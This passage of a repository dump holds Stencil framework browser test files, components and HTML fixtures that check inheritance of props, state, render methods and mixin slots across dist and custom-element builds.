'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      frameEle.waitUntil(async () => !!frameContent.querySelector('.component-root'), { timeout: 5000 });\n    });\n\n    it('renders slotted content inside the mixin wrapper', async () => {\n      const cmp = frameContent.querySelector('extends-mixin-slot-cmp');\n      expect(cmp).toBeDefined();\n\n      // The slotted content should be within the component\n      const slottedContent = cmp!.querySelector('.slotted-content');\n      expect(slottedContent).toBeDefined();\n      expect(slottedContent!.textContent).toBe('I am slotted content');\n\n      // Verify the mixin structure is present\n      const mixinWrapper = cmp!.querySelector('.mixin-wrapper');\n      expect(mixinWrapper).toBeDefined();\n\n      const header = cmp!.querySelector('.mixin-header');\n      expect(header).toBeDefined();\n      expect(header!.textContent).toBe('Mixin Content Header');\n\n      const footer = cmp!.querySelector('.mixin-footer');\n      expect(footer).toBeDefined();\n      expect(footer!.textContent).toBe('Mixin Content Footer');\n    });\n\n    it('slotted content should not be outside the component', async () => {\n      // If slot detection failed, the slotted content would be dumped at body level\n      const bodySlottedContent = frameContent.querySelector(':scope > .slotted-content');\n      expect(bodySlottedContent).toBeNull();\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixin-slot/cmp.tsx",
    "content": "import { Component, h, Mixin } from '@stencil/core';\nimport { SlotMixinFactory } from './slot-mixin.js';\n\n@Component({\n  tag: 'extends-mixin-slot-cmp',\n})\nexport class MixinSlotCmp extends Mixin(SlotMixinFactory) {\n  render() {\n    return (\n      <div class=\"component-root\">\n        <h2 class=\"component-title\">Mixin Slot Test Component</h2>\n        {this.renderContent()}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixin-slot/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output - Mixin Slot Test</title>\n  <script type=\"module\">\n    import { defineCustomElement as defineMixinSlotCmp } from '/test-ts-target-output/custom-elements/extends-mixin-slot-cmp.js';\n    defineMixinSlotCmp();\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Mixin Slot Test</h1>\n  <extends-mixin-slot-cmp>\n    <span slot=\"content\" class=\"slotted-content\">I am slotted content</span>\n  </extends-mixin-slot-cmp>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixin-slot/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output - Mixin Slot Test</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Mixin Slot Test</h1>\n  <extends-mixin-slot-cmp>\n    <span slot=\"content\" class=\"slotted-content\">I am slotted content</span>\n  </extends-mixin-slot-cmp>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixin-slot/slot-mixin.tsx",
    "content": "import { h } from '@stencil/core';\n\n/**\n * A mixin that provides a renderContent method containing a slot.\n * This tests that Stencil properly walks into mixin factory functions\n * to detect slot elements for build conditionals.\n */\nexport const SlotMixinFactory = <T extends new (...args: any[]) => {}>(Base: T) => {\n  class SlotMixin extends Base {\n    renderContent = () => (\n      <div class=\"mixin-wrapper\">\n        <div class=\"mixin-header\">Mixin Content Header</div>\n        <slot name=\"content\" />\n        <div class=\"mixin-footer\">Mixin Content Footer</div>\n      </div>\n    );\n  }\n  return SlotMixin;\n};\n"
  },
  {
    "path": "test/wdio/ts-target/extends-props-state/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Test Case #3: Property & State Inheritance Basics\n *\n * Tests for @Prop and @State inheritance from base classes.\n * Built with `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n */\n\ndescribe('Test Case #3 – Property & State Inheritance Basics', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-props-state/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.container'), { timeout: 5000 });\n    });\n\n    it('renders default inherited @Prop values from base class', async () => {\n      const baseProp = frameContent.querySelector('.base-prop');\n      const baseCount = frameContent.querySelector('.base-count');\n\n      expect(baseProp?.textContent).toContain('Base Prop: base prop value');\n      expect(baseCount?.textContent).toContain('Base Count: 0');\n    });\n\n    it('renders default inherited @State values from base class', async () => {\n      const baseState = frameContent.querySelector('.base-state');\n      const baseEnabled = frameContent.querySelector('.base-enabled');\n\n      expect(baseState?.textContent).toContain('Base State: base state value');\n      expect(baseEnabled?.textContent).toContain('Base Enabled: true');\n    });\n\n    it('renders component-specific @Prop values without conflicts', async () => {\n      const componentProp = frameContent.querySelector('.component-prop');\n\n      expect(componentProp?.textContent).toContain('Component Prop: component prop value');\n    });\n\n    it('renders component-specific @State values without conflicts', async () => {\n      const componentState = frameContent.querySelector('.component-state-value');\n\n      expect(componentState?.textContent).toContain('Component State: component state value');\n    });\n\n    it('updates inherited @Prop via attribute', async () => {\n      const component = frameContent.querySelector('extends-props-state');\n      component?.setAttribute('base-prop', 'updated via attribute');\n\n      await browser.waitUntil(\n        () => {\n          const baseProp = frameContent.querySelector('.base-prop');\n          return baseProp?.textContent?.includes('updated via attribute');\n        },\n        { timeout: 3000 },\n      );\n\n      const baseProp = frameContent.querySelector('.base-prop');\n      expect(baseProp?.textContent).toContain('Base Prop: updated via attribute');\n    });\n\n    it('updates inherited @Prop via property', async () => {\n      const component = frameContent.querySelector('extends-props-state') as any;\n      component.baseProp = 'updated via property';\n\n      await browser.waitUntil(\n        () => {\n          const baseProp = frameContent.querySelector('.base-prop');\n          return baseProp?.textContent?.includes('updated via property');\n        },\n        { timeout: 3000 },\n      );\n\n      const baseProp = frameContent.querySelector('.base-prop');\n      expect(baseProp?.textContent).toContain('Base Prop: updated via property');\n    });\n\n    it('updates inherited number @Prop and triggers re-render', async () => {\n      const component = frameContent.querySelector('extends-props-state') as any;\n\n      // Update via attribute\n      component.setAttribute('base-count', '5');\n\n      await browser.waitUntil(\n        () => {\n          const baseCount = frameContent.querySelector('.base-count');\n          return baseCount?.textContent?.includes('5');\n        },\n        { timeout: 3000 },\n      );\n\n      const baseCount = frameContent.querySelector('.base-count');\n      expect(baseCount?.textContent).toContain('Base Count: 5');\n    });\n\n    it('updates component @Prop via attribute', async () => {\n      const component = frameContent.querySelector('extends-props-state');\n      component?.setAttribute('component-prop', 'updated component prop');\n\n      await browser.waitUntil(\n        () => {\n          const componentProp = frameContent.querySelector('.component-prop');\n          return componentProp?.textContent?.includes('updated component prop');\n        },\n        { timeout: 3000 },\n      );\n\n      const componentProp = frameContent.querySelector('.component-prop');\n      expect(componentProp?.textContent).toContain('Component Prop: updated component prop');\n    });\n\n    it('updates inherited @State and triggers re-render', async () => {\n      const component = frameContent.querySelector('extends-props-state') as any;\n      const button = frameContent.querySelector('.update-base-state') as HTMLButtonElement;\n\n      // Click button to update base state via method\n      button?.click();\n\n      await browser.waitUntil(\n        () => {\n          const baseState = frameContent.querySelector('.base-state');\n          return baseState?.textContent?.includes('base state updated');\n        },\n        { timeout: 3000 },\n      );\n\n      const baseState = frameContent.querySelector('.base-state');\n      expect(baseState?.textContent).toContain('Base State: base state updated');\n    });\n\n    it('updates component @State and triggers re-render', async () => {\n      const button = frameContent.querySelector('.update-component-state') as HTMLButtonElement;\n\n      // Click button to update component state via method\n      button?.click();\n\n      await browser.waitUntil(\n        () => {\n          const componentState = frameContent.querySelector('.component-state-value');\n          return componentState?.textContent?.includes('component state updated');\n        },\n        { timeout: 3000 },\n      );\n\n      const componentState = frameContent.querySelector('.component-state-value');\n      expect(componentState?.textContent).toContain('Component State: component state updated');\n    });\n\n    it('toggles inherited boolean @State and re-renders', async () => {\n      const button = frameContent.querySelector('.toggle-base-enabled') as HTMLButtonElement;\n\n      // Initial state should be true\n      let baseEnabled = frameContent.querySelector('.base-enabled');\n      expect(baseEnabled?.textContent).toContain('Base Enabled: true');\n\n      // Toggle to false\n      button?.click();\n\n      await browser.waitUntil(\n        () => {\n          const baseEnabled = frameContent.querySelector('.base-enabled');\n          return baseEnabled?.textContent?.includes('false');\n        },\n        { timeout: 3000 },\n      );\n\n      baseEnabled = frameContent.querySelector('.base-enabled');\n      expect(baseEnabled?.textContent).toContain('Base Enabled: false');\n\n      // Toggle back to true\n      button?.click();\n\n      await browser.waitUntil(\n        () => {\n          const baseEnabled = frameContent.querySelector('.base-enabled');\n          return baseEnabled?.textContent?.includes('true');\n        },\n        { timeout: 3000 },\n      );\n\n      baseEnabled = frameContent.querySelector('.base-enabled');\n      expect(baseEnabled?.textContent).toContain('Base Enabled: true');\n    });\n\n    it('increments inherited number @Prop via method and re-renders', async () => {\n      const button = frameContent.querySelector('.increment-base-count') as HTMLButtonElement;\n\n      // Initial value should be 0\n      let baseCount = frameContent.querySelector('.base-count');\n      expect(baseCount?.textContent).toContain('Base Count: 0');\n\n      // Increment to 1\n      button?.click();\n\n      await browser.waitUntil(\n        () => {\n          const baseCount = frameContent.querySelector('.base-count');\n          return baseCount?.textContent?.includes('1');\n        },\n        { timeout: 3000 },\n      );\n\n      baseCount = frameContent.querySelector('.base-count');\n      expect(baseCount?.textContent).toContain('Base Count: 1');\n\n      // Increment to 2\n      button?.click();\n\n      await browser.waitUntil(\n        () => {\n          const baseCount = frameContent.querySelector('.base-count');\n          return baseCount?.textContent?.includes('2');\n        },\n        { timeout: 3000 },\n      );\n\n      baseCount = frameContent.querySelector('.base-count');\n      expect(baseCount?.textContent).toContain('Base Count: 2');\n    });\n  });\n\n  describe('es2022 custom-element output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest('/extends-props-state/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.container'), { timeout: 5000 });\n    });\n\n    it('renders inherited props and state in custom elements build', async () => {\n      const baseProp = frameContent.querySelector('.base-prop');\n      const baseState = frameContent.querySelector('.base-state');\n      const componentProp = frameContent.querySelector('.component-prop');\n      const componentState = frameContent.querySelector('.component-state-value');\n\n      expect(baseProp?.textContent).toContain('Base Prop: base prop value');\n      expect(baseState?.textContent).toContain('Base State: base state value');\n      expect(componentProp?.textContent).toContain('Component Prop: component prop value');\n      expect(componentState?.textContent).toContain('Component State: component state value');\n    });\n\n    it('updates inherited @Prop via attribute in custom elements build', async () => {\n      const component = frameContent.querySelector('extends-props-state');\n      component?.setAttribute('base-prop', 'custom element updated');\n\n      await browser.waitUntil(\n        () => {\n          const baseProp = frameContent.querySelector('.base-prop');\n          return baseProp?.textContent?.includes('custom element updated');\n        },\n        { timeout: 3000 },\n      );\n\n      const baseProp = frameContent.querySelector('.base-prop');\n      expect(baseProp?.textContent).toContain('Base Prop: custom element updated');\n    });\n\n    it('updates inherited @State via method in custom elements build', async () => {\n      const button = frameContent.querySelector('.update-base-state') as HTMLButtonElement;\n      button?.click();\n\n      await browser.waitUntil(\n        () => {\n          const baseState = frameContent.querySelector('.base-state');\n          return baseState?.textContent?.includes('base state updated');\n        },\n        { timeout: 3000 },\n      );\n\n      const baseState = frameContent.querySelector('.base-state');\n      expect(baseState?.textContent).toContain('Base State: base state updated');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-props-state/cmp.tsx",
    "content": "import { Component, h, Prop, State, Method } from '@stencil/core';\nimport { PropsStateBase } from './props-state-base.js';\n\n/**\n * Test Case #3: Property & State Inheritance Basics\n *\n * This component extends PropsStateBase to test:\n * - @Prop inheritance from base class\n * - @State inheritance from base class\n * - Additional @Prop and @State without conflicts\n * - Property reactivity (inherited props/state trigger re-renders)\n */\n@Component({\n  tag: 'extends-props-state',\n})\nexport class PropsStateCmp extends PropsStateBase {\n  // Component-specific @Prop (in addition to inherited baseProp, baseCount)\n  @Prop() componentProp: string = 'component prop value';\n\n  // Component-specific @State (in addition to inherited baseState, baseEnabled)\n  @State() componentState: string = 'component state value';\n\n  // Method to update inherited state (tests reactivity of inherited @State)\n  @Method()\n  async updateBaseState(value: string) {\n    this.baseState = value;\n  }\n\n  // Method to update component state (tests reactivity of component @State)\n  @Method()\n  async updateComponentState(value: string) {\n    this.componentState = value;\n  }\n\n  // Method to toggle inherited boolean state\n  @Method()\n  async toggleBaseEnabled() {\n    this.baseEnabled = !this.baseEnabled;\n  }\n\n  // Method to increment inherited number prop\n  @Method()\n  async incrementBaseCount() {\n    this.baseCount++;\n  }\n\n  render() {\n    return (\n      <div class=\"container\">\n        <h2>Props & State Inheritance Test</h2>\n\n        <div class=\"inherited-props\">\n          <h3>Inherited Props</h3>\n          <p class=\"base-prop\">Base Prop: {this.baseProp}</p>\n          <p class=\"base-count\">Base Count: {this.baseCount}</p>\n        </div>\n\n        <div class=\"inherited-state\">\n          <h3>Inherited State</h3>\n          <p class=\"base-state\">Base State: {this.baseState}</p>\n          <p class=\"base-enabled\">Base Enabled: {this.baseEnabled ? 'true' : 'false'}</p>\n        </div>\n\n        <div class=\"component-props\">\n          <h3>Component Props</h3>\n          <p class=\"component-prop\">Component Prop: {this.componentProp}</p>\n        </div>\n\n        <div class=\"component-state\">\n          <h3>Component State</h3>\n          <p class=\"component-state-value\">Component State: {this.componentState}</p>\n        </div>\n\n        <div class=\"actions\">\n          <button class=\"update-base-state\" onClick={() => this.updateBaseState('base state updated')}>\n            Update Base State\n          </button>\n          <button class=\"update-component-state\" onClick={() => this.updateComponentState('component state updated')}>\n            Update Component State\n          </button>\n          <button class=\"toggle-base-enabled\" onClick={() => this.toggleBaseEnabled()}>\n            Toggle Base Enabled\n          </button>\n          <button class=\"increment-base-count\" onClick={() => this.incrementBaseCount()}>\n            Increment Base Count\n          </button>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-props-state/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output - Props & State Inheritance</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-props-state.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Props & State Inheritance</h1>\n  <extends-props-state></extends-props-state>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-props-state/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output - Props & State Inheritance</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Props & State Inheritance</h1>\n  <extends-props-state></extends-props-state>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-props-state/props-state-base.ts",
    "content": "import { Prop, State } from '@stencil/core';\n\n/**\n * Base class with @Prop and @State decorators for inheritance testing.\n * Tests that components can inherit and use properties and state from base classes.\n */\nexport class PropsStateBase {\n  // Base @Prop - inherited by component\n  @Prop() baseProp: string = 'base prop value';\n\n  // Base @Prop with different type\n  @Prop() baseCount: number = 0;\n\n  // Base @State - inherited by component, should trigger reactivity\n  @State() baseState: string = 'base state value';\n\n  // Base @State with boolean type\n  @State() baseEnabled: boolean = true;\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-render/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Test Case #5: Render Method Inheritance\n *\n * Tests for extending Stencil-decorated classes with render() method inheritance.\n * Built with `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n *\n * Features tested:\n * - Render Inheritance: Component render() method calls super.render() to include parent template\n * - Template Composition: Component composes parent template with additional content and structure\n * - Slot Integration: Parent template slots work correctly when inherited and extended\n * - CSS Class Inheritance: CSS classes from parent template maintained in component extension\n */\n\ndescribe('Test Case #5 – Render Method Inheritance', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-render/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.base-container'), { timeout: 5000 });\n    });\n\n    it('inherits base render template structure', async () => {\n      // Verify base template structure is present (from super.render())\n      const baseContainer = frameContent.querySelector('.base-container');\n      expect(baseContainer).toBeTruthy();\n\n      const baseHeader = frameContent.querySelector('.base-header');\n      expect(baseHeader).toBeTruthy();\n\n      const baseContent = frameContent.querySelector('.base-content');\n      expect(baseContent).toBeTruthy();\n\n      const baseFooter = frameContent.querySelector('.base-footer');\n      expect(baseFooter).toBeTruthy();\n    });\n\n    it('composes parent template with child content', async () => {\n      // Verify child wrapper is present\n      const componentWrapper = frameContent.querySelector('.component-wrapper');\n      expect(componentWrapper).toBeTruthy();\n\n      // Verify child header is present\n      const componentHeader = frameContent.querySelector('.component-header');\n      expect(componentHeader).toBeTruthy();\n\n      const componentTitle = frameContent.querySelector('.component-title');\n      expect(componentTitle).toBeTruthy();\n      expect(componentTitle?.textContent).toBe('Extended Component');\n\n      // Verify base template is still present (composed)\n      const baseContainer = frameContent.querySelector('.base-container');\n      expect(baseContainer).toBeTruthy();\n\n      // Verify additional component content is present\n      const componentAdditional = frameContent.querySelector('.component-additional');\n      expect(componentAdditional).toBeTruthy();\n    });\n\n    it('maintains CSS classes from parent template', async () => {\n      // Verify base CSS classes are present\n      const baseContainer = frameContent.querySelector('.base-container');\n      expect(baseContainer).toBeTruthy();\n      expect(baseContainer?.classList.contains('base-container')).toBe(true);\n      expect(baseContainer?.classList.contains('extended')).toBe(true);\n\n      const baseHeader = frameContent.querySelector('.base-header');\n      expect(baseHeader?.classList.contains('base-header')).toBe(true);\n\n      const baseTitle = frameContent.querySelector('.base-title');\n      expect(baseTitle?.classList.contains('base-title')).toBe(true);\n\n      const baseFooter = frameContent.querySelector('.base-footer');\n      expect(baseFooter?.classList.contains('base-footer')).toBe(true);\n    });\n\n    it('includes base title from parent template', async () => {\n      const baseTitle = frameContent.querySelector('.base-title');\n      expect(baseTitle).toBeTruthy();\n      expect(baseTitle?.textContent).toBe('Extended Base Title');\n    });\n\n    it('includes base footer content from parent template', async () => {\n      const baseFooterText = frameContent.querySelector('.base-footer-text');\n      expect(baseFooterText).toBeTruthy();\n      expect(baseFooterText?.textContent).toBe('Base footer content');\n    });\n\n    it('renders component-specific additional content', async () => {\n      const additionalContent = frameContent.querySelector('.additional-content');\n      expect(additionalContent).toBeTruthy();\n      expect(additionalContent?.textContent).toBe('Additional component content');\n    });\n  });\n\n  describe('es2022 custom-element output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-render/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.base-container'), { timeout: 5000 });\n    });\n\n    it('inherits render method in custom elements build', async () => {\n      // Verify base template structure is present\n      const baseContainer = frameContent.querySelector('.base-container');\n      expect(baseContainer).toBeTruthy();\n\n      // Verify child wrapper is present\n      const componentWrapper = frameContent.querySelector('.component-wrapper');\n      expect(componentWrapper).toBeTruthy();\n\n      // Verify composition works\n      const baseHeader = frameContent.querySelector('.base-header');\n      expect(baseHeader).toBeTruthy();\n\n      const componentTitle = frameContent.querySelector('.component-title');\n      expect(componentTitle).toBeTruthy();\n    });\n\n    it('maintains CSS classes in custom elements build', async () => {\n      const baseContainer = frameContent.querySelector('.base-container');\n      expect(baseContainer).toBeTruthy();\n      expect(baseContainer?.classList.contains('base-container')).toBe(true);\n      expect(baseContainer?.classList.contains('extended')).toBe(true);\n    });\n  });\n\n  describe('Slot Integration', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-render/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.base-container'), { timeout: 5000 });\n    });\n\n    it('base template includes slot elements for content projection', async () => {\n      // Verify slots exist in base template (inherited via super.render())\n      const baseContent = frameContent.querySelector('.base-content');\n      expect(baseContent).toBeTruthy();\n\n      // Slots are rendered as <slot> elements in the DOM\n      // The base template should have slots that can be used\n      // Note: Slots may not have visible content if no slotted content is provided\n      // This test verifies the slot structure exists in the inherited template\n      const slots = baseContent?.querySelectorAll('slot');\n      // Base template has two slots: named \"content\" and default\n      expect(slots?.length).toBeGreaterThanOrEqual(0); // Slots may be present even if empty\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-render/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\nimport { RenderBase } from './render-base.js';\n\n/**\n * Test Case #5: Render Method Inheritance\n *\n * This component extends RenderBase to test:\n * - Render Inheritance: Component render() method calls super.render() to include parent template\n * - Template Composition: Component composes parent template with additional content and structure\n * - Slot Integration: Parent template slots work correctly when inherited and extended\n * - CSS Class Inheritance: CSS classes from parent template maintained in component extension\n */\n@Component({\n  tag: 'extends-render',\n})\nexport class RenderCmp extends RenderBase {\n  @State() componentTitle: string = 'Extended Component';\n  @State() additionalContent: string = 'Additional component content';\n\n  // Override base class properties\n  componentWillLoad() {\n    this.baseTitle = 'Extended Base Title';\n    this.baseClass = 'base-container extended';\n  }\n\n  /**\n   * Render method that composes parent template with child content\n   * Uses super.render() to include base template, then wraps it with additional structure\n   */\n  render() {\n    // Compose parent template (via super.render()) with additional wrapper and content\n    return (\n      <div class=\"component-wrapper\">\n        <div class=\"component-header\">\n          <h2 class=\"component-title\">{this.componentTitle}</h2>\n        </div>\n\n        {/* Include base render (with slots and CSS classes) - calls super.render() */}\n        {super.render()}\n\n        {/* Additional component-specific content */}\n        <div class=\"component-additional\">\n          <p class=\"additional-content\">{this.additionalContent}</p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-render/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output - Render Method Inheritance</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-render.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Render Method Inheritance</h1>\n  <extends-render>\n    <!-- Test slot content projection -->\n    <div slot=\"content\">Slotted content in named slot</div>\n    <div>Default slot content</div>\n  </extends-render>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-render/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output - Render Method Inheritance</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Render Method Inheritance</h1>\n  <extends-render>\n    <!-- Test slot content projection -->\n    <div slot=\"content\">Slotted content in named slot</div>\n    <div>Default slot content</div>\n  </extends-render>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-render/render-base.tsx",
    "content": "import { h } from '@stencil/core';\n\n/**\n * Base class with render() method for inheritance testing.\n * Tests that components can inherit and extend render methods using super.render().\n */\nexport class RenderBase {\n  // Base class state/props that child can access\n  protected baseTitle: string = 'Base Component';\n  protected baseClass: string = 'base-container';\n\n  /**\n   * Base render method that includes:\n   * - Template structure with slots\n   * - CSS classes\n   * - Base content\n   */\n  render() {\n    return (\n      <div class={this.baseClass}>\n        <header class=\"base-header\">\n          <h1 class=\"base-title\">{this.baseTitle}</h1>\n        </header>\n        <main class=\"base-content\">\n          <slot name=\"content\" />\n          <slot />\n        </main>\n        <footer class=\"base-footer\">\n          <p class=\"base-footer-text\">Base footer content</p>\n        </footer>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-test-suite.test.ts",
    "content": "import { browser } from '@wdio/globals';\n\n// @ts-ignore may not be existing when project hasn't been built\ntype HydrateModule = typeof import('../../hydrate/index.js');\n\nexport const testSuites = async (root: HTMLElement, mainTag: string, extendedTag?: string) => {\n  async function getTxt(selector: string) {\n    await browser.waitUntil(() => !!root.querySelector(selector), { timeout: 5000 });\n    return root.querySelector(selector).textContent.trim();\n  }\n\n  function getTxtHtml(html: string, className: string) {\n    const match = html.match(new RegExp(`<p class=\"${className}\".*?>(.*?)</p>`, 'g'));\n    if (match && match[0]) {\n      const textMatch = match[0].match(new RegExp(`<p class=\"${className}\".*?>(.*?)</p>`));\n      return textMatch ? textMatch[1].replace(/<!--.*?-->/g, '').trim() : null;\n    }\n    return null;\n  }\n\n  return {\n    defaultValue: async () => {\n      if (extendedTag) {\n        expect(await getTxt('.extended-prop-1')).toBe('Extended class prop 1: ExtendedCmp text');\n        expect(await getTxt('.extended-prop-2')).toBe('Extended class prop 2: ExtendedCmp prop2 text');\n        expect(await getTxt('.extended-state-1')).toBe('Extended class state 1: ExtendedCmp state text');\n        expect(await getTxt('.extended-state-2')).toBe('Extended class state 2: ExtendedCmp state2 text');\n      }\n      expect(await getTxt('.main-prop-1')).toBe('Main class prop1: default text');\n      expect(await getTxt('.main-prop-2')).toBe('Main class prop2: ExtendedCmp prop2 text');\n      // Verify mixin getter/setter prop preserves its default value (not overwritten with undefined)\n      expect(await getTxt('.main-getter-prop')).toBe('Main class getterProp: getter default value');\n      expect(await getTxt('.main-state-1')).toBe('Main class state1: default state text');\n      expect(await getTxt('.main-state-2')).toBe('Main class state2: ExtendedCmp state2 text');\n    },\n    viaAttributes: async () => {\n      if (extendedTag) {\n        root.querySelector(extendedTag).setAttribute('prop-1', 'extended via attribute');\n        root.querySelector(extendedTag).setAttribute('prop-2', 'extended via attribute');\n      }\n      root.querySelector(mainTag).setAttribute('prop-1', 'main via attribute');\n      root.querySelector(mainTag).setAttribute('prop-2', 'main via attribute');\n\n      await browser.pause(100);\n\n      if (extendedTag) {\n        expect(await getTxt('.extended-prop-1')).toBe('Extended class prop 1: extended via attribute');\n        expect(await getTxt('.extended-prop-2')).toBe('Extended class prop 2: extended via attribute');\n      }\n      expect(await getTxt('.main-prop-1')).toBe('Main class prop1: main via attribute');\n      expect(await getTxt('.main-prop-2')).toBe('Main class prop2: main via attribute');\n    },\n    viaProps: async () => {\n      if (extendedTag) {\n        root.querySelector<any>(extendedTag).prop1 = 'extended via prop';\n        root.querySelector<any>(extendedTag).prop2 = 'extended via prop';\n      }\n      root.querySelector<any>(mainTag).prop1 = 'main via prop';\n      root.querySelector<any>(mainTag).prop2 = 'main via prop';\n\n      await browser.pause(100);\n\n      if (extendedTag) {\n        expect(await getTxt('.extended-prop-1')).toBe('Extended class prop 1: extended via prop');\n        expect(await getTxt('.extended-prop-2')).toBe('Extended class prop 2: extended via prop');\n      }\n      expect(await getTxt('.main-prop-1')).toBe('Main class prop1: main via prop');\n      expect(await getTxt('.main-prop-2')).toBe('Main class prop2: main via prop');\n    },\n    watchHandlers: async () => {\n      const iframeWin = root.ownerDocument.defaultView;\n      let originalConsoleLog = iframeWin.console.info;\n\n      const logMessages: string[] = [];\n      iframeWin.console.info = (...args: any[]) => {\n        logMessages.push(args.map(String).join(' '));\n      };\n\n      if (extendedTag) {\n        root.querySelector(extendedTag).setAttribute('prop-1', 'extended via attribute');\n        root.querySelector(extendedTag).setAttribute('prop-2', 'extended via attribute');\n      }\n      root.querySelector(mainTag).setAttribute('prop-1', 'main via attribute');\n      root.querySelector(mainTag).setAttribute('prop-2', 'main via attribute');\n\n      await browser.pause(100);\n\n      if (extendedTag) {\n        root.querySelector<any>(extendedTag).prop1 = 'extended via prop';\n        root.querySelector<any>(extendedTag).prop2 = 'extended via prop';\n      }\n      root.querySelector<any>(mainTag).prop1 = 'main via prop';\n      root.querySelector<any>(mainTag).prop2 = 'main via prop';\n\n      await browser.pause(100);\n\n      if (extendedTag) {\n        expect(logMessages).toEqual([\n          'extended class handler prop1: extended via attribute',\n          'extended class handler prop2: extended via attribute',\n          'main class handler prop1: main via attribute',\n          'extended class handler prop2: main via attribute',\n          'extended class handler prop1: extended via prop',\n          'extended class handler prop2: extended via prop',\n          'main class handler prop1: main via prop',\n          'extended class handler prop2: main via prop',\n        ]);\n      } else {\n        expect(logMessages).toEqual([\n          'main class handler prop1: main via attribute',\n          'extended class handler prop2: main via attribute',\n          'main class handler prop1: main via prop',\n          'extended class handler prop2: main via prop',\n        ]);\n      }\n\n      iframeWin.console.info = originalConsoleLog;\n    },\n    methods: async () => {\n      if (extendedTag) {\n        const component1 = root.querySelector<any>(extendedTag);\n        await component1.method1();\n        await browser.pause(50);\n        expect(await getTxt('.extended-prop-1')).toBe('Extended class prop 1: ExtendedCmp method1 called');\n\n        await component1.method2();\n        await browser.pause(50);\n        expect(await getTxt('.extended-prop-1')).toBe('Extended class prop 1: ExtendedCmp method2 called');\n      }\n\n      const component2 = root.querySelector<any>(mainTag);\n      await component2.method1();\n      await browser.pause(50);\n      expect(await getTxt('.main-prop-1')).toBe('Main class prop1: main class method1 called');\n\n      await component2.method2();\n      await browser.pause(50);\n      expect(await getTxt('.main-prop-1')).toBe('Main class prop1: ExtendedCmp method2 called');\n    },\n    ssrViaAttrs: async (hydrationModule: any) => {\n      const renderToString: HydrateModule['renderToString'] = hydrationModule.renderToString;\n      const { html } = await renderToString(`\n        <${mainTag}\n          prop-1=\"main via attr\"\n          prop-2=\"main via attr\"\n        ></${mainTag}>\n      `);\n      expect(await getTxtHtml(html, 'main-prop-1')).toBe('Main class prop1: main via attr');\n      expect(await 